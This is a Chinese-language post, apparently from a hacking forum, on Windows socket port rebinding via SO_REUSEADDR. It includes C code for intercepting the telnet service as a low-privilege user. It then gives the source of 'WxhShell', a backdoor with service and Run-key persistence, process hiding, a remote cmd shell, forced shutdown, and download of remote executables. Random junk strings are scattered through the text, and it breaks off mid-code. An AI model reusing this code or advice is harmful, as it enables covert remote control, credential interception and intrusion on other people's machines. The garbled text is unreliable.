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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: I2XU(pYU s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); pt?bWyKG xexaQuK saddr.sin_family = AF_INET; )',R[|< {.`vs;U saddr.sin_addr.s_addr = htonl(INADDR_ANY); @?ebuj5{e P|`8}|}a bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); pR<`H' SV4E0c> 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 C-xr"]#] v{RZJ^1 这意味着什么?意味着可以进行如下的攻击: #{0HYg?(f W@>% {eE 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 &{5,:%PXw sVQ|*0(J0r 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) KV91)U #-rH1h3*q 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 0^ _uV9r XoK:N$\}t 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 $L`d&$Vh 'JtBZFq 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 >\R+9p:o /|w6:;$;mn 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 `6;?9NI e
v}S+!|U 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 OHN _ RIR\']WN #include _1X!EH" #include q$L%36u~/ #include '$Dn #include NCXRevE DWORD WINAPI ClientThread(LPVOID lpParam); P.se'z)E int main() rE7G{WII { rCEyQ)R_} WORD wVersionRequested; !"AvY y9 DWORD ret; h#I>M`| WSADATA wsaData; TJd)K$O> BOOL val; .D~;u-%|F SOCKADDR_IN saddr; fy1|$d{' SOCKADDR_IN scaddr; Mc
lkEfn int err; W_293["lS SOCKET s; S)(.,x SOCKET sc; Ng&%o int caddsize; -
nm"of\o HANDLE mt; F~ty!(c DWORD tid; 4(n-_BS wVersionRequested = MAKEWORD( 2, 2 ); &$BjV{,/zc err = WSAStartup( wVersionRequested, &wsaData ); 1y&\5kB if ( err != 0 ) { @3i\%R)n; printf("error!WSAStartup failed!\n"); bG"~"ipn% return -1; -]Bq|qTH[( } > tS'Q`R saddr.sin_family = AF_INET; *][`@@-> E)&I@m //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 3m[vXr? ';Ea?ID saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); DPY}?dC saddr.sin_port = htons(23); YRk(u7:0 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) D>r&}6< { &A/]pi-\ printf("error!socket failed!\n"); 0q return -1; wSL}`C gU } O^PKn_OJ val = TRUE; G&SB- //SO_REUSEADDR选项就是可以实现端口重绑定的
x^qVw5{n if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) [Y/}
^ { OF>mF~ printf("error!setsockopt failed!\n"); 2>9C-VL2 return -1; hF?1y `20 } 1#g2A0U, //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; L&8~f] //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 jwe *(k]z //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 lgAoJ[ 5<k"K^0QS if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ~\SGb_2 { OnziG+ak ret=GetLastError(); $p8xEcQdU# printf("error!bind failed!\n"); T~?Ff|qFC return -1; ' {OgN}'{ } phkwN}6 listen(s,2); ^#-l
q) while(1) @s>Czm5 { D8Ic?:iX[ caddsize = sizeof(scaddr); dbLZc$vPj //接受连接请求 >=lC4Tu sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); YDsb3X<0' if(sc!=INVALID_SOCKET) ;V_e>TyG { GAzU?a{S mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); H'5)UX@LP if(mt==NULL) uC vj! { "!P3R1;% printf("Thread Creat Failed!\n"); ~NgA break; b6M[q_ } tFn)aa~L } unzr0x
{ CloseHandle(mt); `7Q<'oK } gaxsv[W>^ closesocket(s); P8
c`fbkX2 WSACleanup(); q_8+HEvo return 0; ;+_:,_ } tT8%yG} DWORD WINAPI ClientThread(LPVOID lpParam) 2|y"!JqE1 { +/7?HGf SOCKET ss = (SOCKET)lpParam; 2"Q|+-Io SOCKET sc; /N+dQe unsigned char buf[4096]; @7c?xQVd$ SOCKADDR_IN saddr; mIvx1_[ long num; =?*!"&h DWORD val; "cGk)s DWORD ret; 2nObl'ec //如果是隐藏端口应用的话,可以在此处加一些判断 <nf@U>wlw //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 ]m q|w saddr.sin_family = AF_INET; F<1fX 7c saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); -IudgO] saddr.sin_port = htons(23); *R,5h2; if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) `hm-.@f,9 { ?<,l3pwqa printf("error!socket failed!\n"); A2FYBM`Q&D return -1; }K>d+6qk5 } dDMJ' val = 100; @{e}4s?7od if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ]q[D>6_ { l'1pw ret = GetLastError(); ~/U1xk% return -1; uZYF(Yu } }tuC} if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) t3ZOco@~P { <=&`ZH ret = GetLastError(); I{&[[7H return -1; 59L\|OR } v~C
Czg if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) :4w ?# { L{\8!51L printf("error!socket connect failed!\n"); Hio0HL- closesocket(sc); S+6.ZZ9c closesocket(ss); z6P$pqyF return -1; *a^(vo } B mb0cFQ while(1) "{xrL4BtC { {fM'6;ak //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ~=LE0. 3[ //如果是嗅探内容的话,可以再此处进行内容分析和记录 hE/cd1iJ$ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 N>1em!AS num = recv(ss,buf,4096,0); H41?/U,{ if(num>0) $wa{~' send(sc,buf,num,0); hZ,_6mNg else if(num==0) I
34>X`[o break; a-tmq]]E num = recv(sc,buf,4096,0); n8[!pH~6 if(num>0) $HzBD.CF|x send(ss,buf,num,0); =XQ%t
@z0 else if(num==0) RP|`HkP-2 break; DCa^
u'f } -i|}m++ closesocket(ss); Gz0]}]A closesocket(sc); 3=[mP,pLh return 0 ; !BF;
>f` } ^7*11%Q 372rbY TX/Xt7#R: ========================================================== ,p a {qne Tidn-2L73O 下边附上一个代码,,WXhSHELL t?gic9
q T!{w~'=F ========================================================== fOrH$? kZ:ZtE #include "stdafx.h" re<{
> t@;p #include <stdio.h> wlvgg #include <string.h> Z{d^- #include <windows.h> P+sW[: #include <winsock2.h> 3?yg\ #include <winsvc.h> @mBQ?;qlK #include <urlmon.h> Y=KT eYW` D_7,m%Z: #pragma comment (lib, "Ws2_32.lib") T-L||yE,h #pragma comment (lib, "urlmon.lib") vr l-$ii u=s p`%? #define MAX_USER 100 // 最大客户端连接数 l)\! .X #define BUF_SOCK 200 // sock buffer _[3D #define KEY_BUFF 255 // 输入 buffer +sA2WK] |df Pki{ #define REBOOT 0 // 重启 BO&bmfp7, #define SHUTDOWN 1 // 关机 3hH<T.@) =nS3p6>rZ #define DEF_PORT 5000 // 监听端口 #!#
l45p6 gf@:R'$:+ #define REG_LEN 16 // 注册表键长度 N+xP26D8 #define SVC_LEN 80 // NT服务名长度 WH} y"W {P./==^0 // 从dll定义API
(ZizuHC typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); F>l]
9!P|m typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); RqrdAkg typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); AT3Mlz~7# typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); X_h}J=33Q cT,sh~-x, // wxhshell配置信息 bE. .P&" struct WSCFG { 4$<JHo
@. int ws_port; // 监听端口 cq]6XK-W char ws_passstr[REG_LEN]; // 口令 y%T_pTcU int ws_autoins; // 安装标记, 1=yes 0=no kevrsV]/$ char ws_regname[REG_LEN]; // 注册表键名 "8MF_Gu): char ws_svcname[REG_LEN]; // 服务名 7$=InK char ws_svcdisp[SVC_LEN]; // 服务显示名 KpGhQdR# char ws_svcdesc[SVC_LEN]; // 服务描述信息 ?`ZUR&
20 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 =,8]nwgo int ws_downexe; // 下载执行标记, 1=yes 0=no HV|,}Wks6s char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" h]gp ^?= char ws_filenam[SVC_LEN]; // 下载后保存的文件名 n>YKa)|W` NLqzi%s }; a=2%4Wmz CdQ!GS<'y // default Wxhshell configuration
t{96p77)= struct WSCFG wscfg={DEF_PORT, +<C!U' "xuhuanlingzhe", K%oG,-wdg 1, D,feF9 "Wxhshell", ?tbrbkx "Wxhshell", wHy!CP% "WxhShell Service", fZF@k5*\ "Wrsky Windows CmdShell Service", HZge!Yp< "Please Input Your Password: ", }}~ |!8 1, C'x&Py/# " http://www.wrsky.com/wxhshell.exe", 5b*C1HS@X "Wxhshell.exe" ux4POO3C| }; i_%_ x* !|(NgzDP/ // 消息定义模块 K|,
.C[ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1+s;FJ2} char *msg_ws_prompt="\n\r? for help\n\r#>"; sgFEK[w.y char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; k,*XG$2h char *msg_ws_ext="\n\rExit."; *2l7f`K char *msg_ws_end="\n\rQuit."; 77Dn97l)& char *msg_ws_boot="\n\rReboot..."; %ET+iIhK char *msg_ws_poff="\n\rShutdown..."; XL^GZ char *msg_ws_down="\n\rSave to "; <5051UEu 2+XAX:YD char *msg_ws_err="\n\rErr!"; })%{AfDRF char *msg_ws_ok="\n\rOK!"; @VEb{ w[H }K(TjZR char ExeFile[MAX_PATH]; 9*M,R,y int nUser = 0; @yYkti;4- HANDLE handles[MAX_USER]; z b3tIRH int OsIsNt; =s6 opL) 59u}W 0 SERVICE_STATUS serviceStatus; l/5
hp. SERVICE_STATUS_HANDLE hServiceStatusHandle; [/r(__. `a/`,N // 函数声明 _[BP0\dPW int Install(void); h*\%vr int Uninstall(void); Le^ n +5x int DownloadFile(char *sURL, SOCKET wsh); ;xTpE2 -~ int Boot(int flag); SXh-A1t void HideProc(void); "tK=+f`NM int GetOsVer(void); PKz':_| int Wxhshell(SOCKET wsl); !N^@4* void TalkWithClient(void *cs); m&3xJuKih int CmdShell(SOCKET sock); ~}
~4 int StartFromService(void); /;$[E int StartWxhshell(LPSTR lpCmdLine); OyIw>Wfv "AqB$^S9t VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 8oGRLYU N VOID WINAPI NTServiceHandler( DWORD fdwControl ); 2 %]X+`+O AbM'3Mkz // 数据结构和表定义 H PVEnVn SERVICE_TABLE_ENTRY DispatchTable[] = }@)[5N#A| { [-w%/D%@ {wscfg.ws_svcname, NTServiceMain}, y~V(aih}D {NULL, NULL} *-X[u: }; i|kRK7[6B ?Bmb' 3 // 自我安装 !4!~Lk= int Install(void) bN.Pex { -{vD:Il=6 char svExeFile[MAX_PATH]; EU#^7 HKEY key; %C]>9." strcpy(svExeFile,ExeFile); !G|@6W` zH
r_!~ // 如果是win9x系统,修改注册表设为自启动 Z\sDUJ if(!OsIsNt) { ]4e;RV-B if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %yC,^ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); v$9y,^p@e
RegCloseKey(key); pgo$61 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { DmcZta8n] RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1Y,Z
%d RegCloseKey(key); kx^/*~ex return 0; K=&>t6s< } !)$Zp\Sg } XWw804ir } Zd+bx*rD else { /9X7A;O Hn:Crl y# // 如果是NT以上系统,安装为系统服务 b.938#3, SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); <UCl@5g& if (schSCManager!=0) W+*
V)tf { ?JUeuNs9 SC_HANDLE schService = CreateService O6Y0XL ( b,@/!ia schSCManager, I-)4YQI wscfg.ws_svcname, HaYo!.(Fv wscfg.ws_svcdisp, ;*J SERVICE_ALL_ACCESS, /L3: SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , B5QFK SERVICE_AUTO_START, 5V-I1B& SERVICE_ERROR_NORMAL, wIgS3K svExeFile, Bw.i}3UT6 NULL, 4p wH>1 NULL, 73-p*o(pt NULL, FI.\%x NULL, X>^fEQq" NULL "N#Y gSr ); 8Fub<UhJ if (schService!=0) Dv6}bx( { +T+#q@ CloseServiceHandle(schService); a9Vi]; CloseServiceHandle(schSCManager); Y0> @vTUX strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); n"8Yv~v*2j strcat(svExeFile,wscfg.ws_svcname); EX"yxZ~ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^rz_f{c]- RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); n{jGOfc RegCloseKey(key); "
1tH return 0; >mkFV@` } jWgX_//! } H/Jbk*Q CloseServiceHandle(schSCManager); +|f@^- } YYS0` } O0:q;<>z |BYRe1l6l return 1; ykJ>*z } C,zohlpC 7$#u // 自我卸载 kf9X$d6 int Uninstall(void) ; @X<lCk { +ai<
q>+ HKEY key; 8,|k ao: I 6O if(!OsIsNt) { g{LP7D;6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { d 'ifLQ\ RegDeleteValue(key,wscfg.ws_regname); 1H9!5=Ff RegCloseKey(key); z!\*Y
=e if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { r|Z{-*` RegDeleteValue(key,wscfg.ws_regname); w(F%^o\ RegCloseKey(key); 0}9h]X' return 0; sq]F;=[5 } <Z$J<]I } 3gzXbP, } yQrD9*t&g else { 0"#HJA44 .]Z"C&"N] SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); T{'RV0%
if (schSCManager!=0) L.IlBjD { ! P4*+')M SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 2zpr~cB= if (schService!=0) DwF hK* { @|!z9Y* if(DeleteService(schService)!=0) { Z :gyz$9w CloseServiceHandle(schService); 7[7"A CloseServiceHandle(schSCManager); JS77M-Ac return 0; 6C)_ } xD$\,{ CloseServiceHandle(schService); .C(tMF]D, } JI5Dy>u: CloseServiceHandle(schSCManager); X?Au/ } a{e4it } \NC3'G:Ii (.,G=\! return 1; >3bCTE } ,?3G;- E"0>yl) // 从指定url下载文件 >d6| ^h'0 int DownloadFile(char *sURL, SOCKET wsh) mc3"`+o { Ts9uL5i HRESULT hr; I:.s_8mH} char seps[]= "/"; M3AXe]<eC1 char *token; Pc9H0\+Xk char *file; zreU')a char myURL[MAX_PATH]; iQ{VY
^
0 char myFILE[MAX_PATH]; ite~E5?# 0$njMnB2l strcpy(myURL,sURL); #;<Y[hR{P token=strtok(myURL,seps); Js;h% while(token!=NULL) F}zDfY\- { I_BJH'!t file=token; ~s{$WL& token=strtok(NULL,seps); svSVG:48 } f!"w5qC^ E_`=7i GetCurrentDirectory(MAX_PATH,myFILE); @XVTU strcat(myFILE, "\\"); ;G!q Y strcat(myFILE, file); cZ06Kx.. send(wsh,myFILE,strlen(myFILE),0); W8<%[-r send(wsh,"...",3,0); ,vDbp?)'U hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); d'2A,B~_* if(hr==S_OK) HTtnXBJ)*H return 0; saAF+H/= else <uJ@:oWG7 return 1; qWw=8Bq o(HbGHIP } j<x_ &1 W%J\qA // 系统电源模块 +v\oOBB) int Boot(int flag) *`U~?q} { He)%S]RLk HANDLE hToken; q:(%*sY> TOKEN_PRIVILEGES tkp; h$*!8=M Ls%MGs9PI if(OsIsNt) { `2snz1>!j OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); u&NV,6Fj2[ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); y)pk6d tkp.PrivilegeCount = 1; }M+7T\J! tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; M?qy(zb AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); $u.z*b_yy if(flag==REBOOT) { D]}G.v1 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Yz b XuJ4 return 0; "]dI1 g_ } AR=]=8 else { kP"9&R`E if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ceV}WN19l return 0; VE24ToI?W" } 5m*,8 ]!- } c|%6e(g"L else { ^s=8!=A( if(flag==REBOOT) { C]#,+q* if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) PM+[,H return 0; B3BN`mdn> } G2Zer=rC else { *or(1DXP8 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ]oxZ77ciL return 0; "fI6Cpc } 0mnw{fE8_ } c:0L+OF}xY JO;Uus{? return 1; w@b)g } (?c-iKGc OH88n69 // win9x进程隐藏模块 Z7#+pPt! void HideProc(void) 7"mc+QOp { Zh,71Umz g ?k=^C HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); . ^u,. if ( hKernel != NULL ) ;I*o@x_ { TO_e^A# pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `g,..Ns-r ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); NgwbQ7) FreeLibrary(hKernel); s>en } H. c7Nle /B3i C#? return; G"6 !{4g } O}P`P'Y|' OPi0~s // 获取操作系统版本 $Y;RKe9 int GetOsVer(void) +%&yJ4- { G3 m Z($y OSVERSIONINFO winfo; \8
":]EU winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Kgv T"s. GetVersionEx(&winfo); %$I;{-LD if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) rUl+ return 1; %*U'@r(A else pI[uUu7O return 0; phK/ } d1*<Ll9K ebq4g387X // 客户端句柄模块 nNm`Hfi int Wxhshell(SOCKET wsl) "8/,Y"W" { qLCR] _* SOCKET wsh; N;d] 14| struct sockaddr_in client; u y+pP!< DWORD myID; #ABCDi={zA 2/f}S?@ while(nUser<MAX_USER) ;
KA~Z5x; { *#2h/Q. int nSize=sizeof(client); j+!v}*I![ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); omFz@ if(wsh==INVALID_SOCKET) return 1; @ 7u 0v [m -bV$-d handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); pw#-_ if(handles[nUser]==0) @L`jk+Y0vF closesocket(wsh); >sF)BoLc else cS$_\65 nUser++; 0a7Ppntb@ } 9!GM{ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); .VqhV jylD6IT return 0; ye97!nIg@ } i@q&5;%% )_:NLo: // 关闭 socket =%7-ZH9 void CloseIt(SOCKET wsh) Q/?$x*\> { [K Qi.u closesocket(wsh); {_}I!`opr$ nUser--; 0"R|..l/ ExitThread(0); ~~.}ah/_d } %xW"!WbJ| YR70BOxK // 客户端请求句柄 Smh,zCc>s void TalkWithClient(void *cs) vI?, 47Hj+ { [7-?7mp!B h;Qk@F SOCKET wsh=(SOCKET)cs; >!JS:5| char pwd[SVC_LEN]; 3%6?g* char cmd[KEY_BUFF]; zCA2X
!7F char chr[1]; [Pp'Ye~K@c int i,j; J4'eI[73
y7{?Ip4[ while (nUser < MAX_USER) { LD?sh"?b @iiT< if(wscfg.ws_passstr) { _aphkeqd if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xk5]^yDp //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _{>vTBU4F //ZeroMemory(pwd,KEY_BUFF); wL1MENzp*z i=0; ("@!>|H while(i<SVC_LEN) { Y2TtY; ,6/V"kqIP // 设置超时 u
+hX fd_set FdRead; ZcsZ$qt^ struct timeval TimeOut; y5r4&~04 FD_ZERO(&FdRead); R_KH"`q FD_SET(wsh,&FdRead); $qiya[&G4 TimeOut.tv_sec=8;
9sP0D TimeOut.tv_usec=0; #tHK"20 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); cL ]1f if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~u{uZ(~ SM'|+ d if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bcyzhK= pwd =chr[0]; 1 zZlC#V if(chr[0]==0xd || chr[0]==0xa) { ]5O~+Nf pwd=0; =]t|];c% break; 0b>h$OU/ } Xvv6~ i++; O1lNAcpeM } _!6jR5&r, f3;5Am // 如果是非法用户,关闭 socket >?b!QU*a if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #WuBL_nZ~ } u,
ff>/1 s7<AfaJPF send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); wJ]d&::@h send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); | Iib|HQ) ^~dWU> while(1) { H|*m$|$, [
3Gf2_ ZeroMemory(cmd,KEY_BUFF); 7_L;E~\ RN1_S // 自动支持客户端 telnet标准 ig!+2g j=0; _#niyW+?~ while(j<KEY_BUFF) { do%&m]#; if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); eRYK3W cmd[j]=chr[0]; \RiP
if(chr[0]==0xa || chr[0]==0xd) { _-D{-Bu# cmd[j]=0; j.Hf/vi`z break; +0&/g&a\R } eDMO]5}Ht j++; ]lbuy7xj63 } . vV|hSc |=w@H]r // 下载文件 f 2.HF@ if(strstr(cmd,"http://")) { q'DW~!>qX send(wsh,msg_ws_down,strlen(msg_ws_down),0); BLttb if(DownloadFile(cmd,wsh)) ^y::jK send(wsh,msg_ws_err,strlen(msg_ws_err),0); G2D$aSh else ,hVli/
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x4 yR8n( } pb}*\/s else { &HW9Jn O?2DQY?jT switch(cmd[0]) { +R &gqja NJ<F>3 // 帮助 Q?vlfZR`8 case '?': { (e~N q send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); w}KkvP^ break; wz%-%39q% } qna8|3eP // 安装 Nc`L;CP case 'i': { L_T5nD^D if(Install())
)2.Si# send(wsh,msg_ws_err,strlen(msg_ws_err),0); UfGkTwoo= else \~W'v3:W send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YWLj?+ break; ,prf;|e? } XTyxr // 卸载 t# i#(H case 'r': { b;n[mk
if(Uninstall()) J zl6eo[; send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,F|f. 7; else p2eGm-Erq send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }tz7b# break; [WmM6UEVS } ueudRb // 显示 wxhshell 所在路径 G[=c
Ss, case 'p': { pP_LR
ks} char svExeFile[MAX_PATH]; b=vkiO`2 strcpy(svExeFile,"\n\r"); t_^4`dW` strcat(svExeFile,ExeFile); C]6O!Pb0 send(wsh,svExeFile,strlen(svExeFile),0); )e{aN+ break; d6O[ @CyP } 5O%{{J // 重启 AH^/V}9H case 'b': { I,tud!p` send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {FkF if(Boot(REBOOT)) &Jj<h: * send(wsh,msg_ws_err,strlen(msg_ws_err),0); /wp6KXm else { `3pW]&
closesocket(wsh); 'DR!9De ExitThread(0); eFgA 8kY) } 7dWS break; ,bi^P>X } wMn
i // 关机 Tk}]Gev case 'd': { j%kncGS send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (=0.in Z if(Boot(SHUTDOWN)) ~$'awY send(wsh,msg_ws_err,strlen(msg_ws_err),0); F8=+j_UGI else { By|4m closesocket(wsh); .Mbz3;i0 ExitThread(0); l#o
~W` } .A|udZ, break; )5,v!X) } 7#XzrT] // 获取shell {c'lhUB case 's': { ]Ze1s02( CmdShell(wsh); \e*]Ls#jS closesocket(wsh); 0kh6@y3 ExitThread(0); M%HU4pTW#o break; q~3>R=t } ye&;(30Oq // 退出 G{}VPcrbC case 'x': { jA1+x:Wq send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -n
1v3 CloseIt(wsh); P:c w|Q break; M3\AY30L } 79gT+~z // 离开 N8jIMb'< case 'q': { <~)P7~$d?p send(wsh,msg_ws_end,strlen(msg_ws_end),0); k[xSbs'D closesocket(wsh); HPl<%%TI WSACleanup(); pBHRa?Y5 exit(1); x5Bk/e' break; SUiOJ[5, } >:-$+I } (`^1Y3&2 } 04ui`-c( X?O[r3< // 提示信息 @d'j zs if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H_a[)DT } zhQJy?>'m } 7!1S)dup 3]Ct6 return; (PLUFT } m
O_af cuX)8+ // shell模块句柄 !$JT e int CmdShell(SOCKET sock) C%u28| { KlEpzJ98 STARTUPINFO si; 2y4bwi ZeroMemory(&si,sizeof(si)); *dQSw)R si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ES[G si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >4TO=i PROCESS_INFORMATION ProcessInfo; i-1op> Y char cmdline[]="cmd"; &C}*w2]0S CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =_CzH(=f# return 0; rq{$,/6. } }BEB1Q}L w;M#c
Y // 自身启动模式 81F9uM0 int StartFromService(void) vM={V$D& { #!=tDc
& typedef struct j 7B!h| { }f ?y*
H DWORD ExitStatus; mH(:?_KrS- DWORD PebBaseAddress; zLQx%Yg! DWORD AffinityMask; }MySaL> DWORD BasePriority; w0.
u\ ULONG UniqueProcessId; + {]j]OP ULONG InheritedFromUniqueProcessId; k$Vl fQ'+ } PROCESS_BASIC_INFORMATION; ]Ljf?tk PCA4k.,T PROCNTQSIP NtQueryInformationProcess; [),ige C!gZN9- static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; F|8& static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Py<}S-: P}iE+Z3 HANDLE hProcess; +`4A$#$+y PROCESS_BASIC_INFORMATION pbi; T{"(\X$ 6]N.%Y[( HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); kZ~~/?B if(NULL == hInst ) return 0; @ Qe0! (_= Z+SRXKQ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \U0Q<ot/7 g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); S:}7q2: NtQueryInformationProcess = 